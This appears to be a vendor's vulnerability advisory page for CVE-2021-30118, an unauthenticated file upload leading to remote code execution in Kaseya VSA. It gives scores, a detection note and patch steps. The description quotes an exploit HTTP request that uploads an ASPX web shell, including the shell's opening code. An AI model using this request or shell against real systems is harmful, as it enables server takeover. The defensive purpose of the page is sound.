CVE-2021-30118 in kaseya vsa
LogPulse has a published detection rule for this CVE: it raises a notable when someone tries to exploit it.
What the vulnerability is
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) prot…
Affected software: kaseya vsa
Scores
- CVSS: 9.8 (critical)
- EPSS: 67.90% chance of exploitation in the next 30 days
- CISA KEV: Not listed
- Published: 2021-07-09
What LogPulse has for it
- Detection rule: Yes, published
- Agent check (vulnerable version): No
- Mitigation: Yes, see below
How to mitigate it
Upgrade on-premises Kaseya VSA to 9.5.6 or later
Patch or upgrade. VSA 9.5.6 fixes the SQL injection in fldrId of /InstallTab/exportFldr.asp (CVE-2021-30117) and includes the 9.5.5 fix for the unauthenticated upload through /SystemTab/uploader.aspx (CVE-2021-30118), both disclosed by DIVD in 2021.
Applies to: On-premises Kaseya VSA before 9.5.6.
- Check the VSA version under System > Configure.
- Back up the VSA server and its SQL database.
- Install VSA 9.5.6 or a current release, following Kaseya's on-premises update guide.
- Look for .asp, .aspx and .ashx files in the VSA WebPages folder that are not part of the release and remove them.
- Keep the VSA web interface off the internet or behind a VPN, and reset admin passwords and session secrets if it was exposed.
- Rerun the vulnerability scan and confirm CVE-2021-30117 and CVE-2021-30118 are no longer reported.
Sources:
Source data: NIST NVD, CISA KEV and FIRST EPSS. LogPulse processes new CVEs every hour.
We build every detection with great care, but no two environments are the same. Log sources, parsing and configuration differ, so test a detection in your own environment before you rely on it.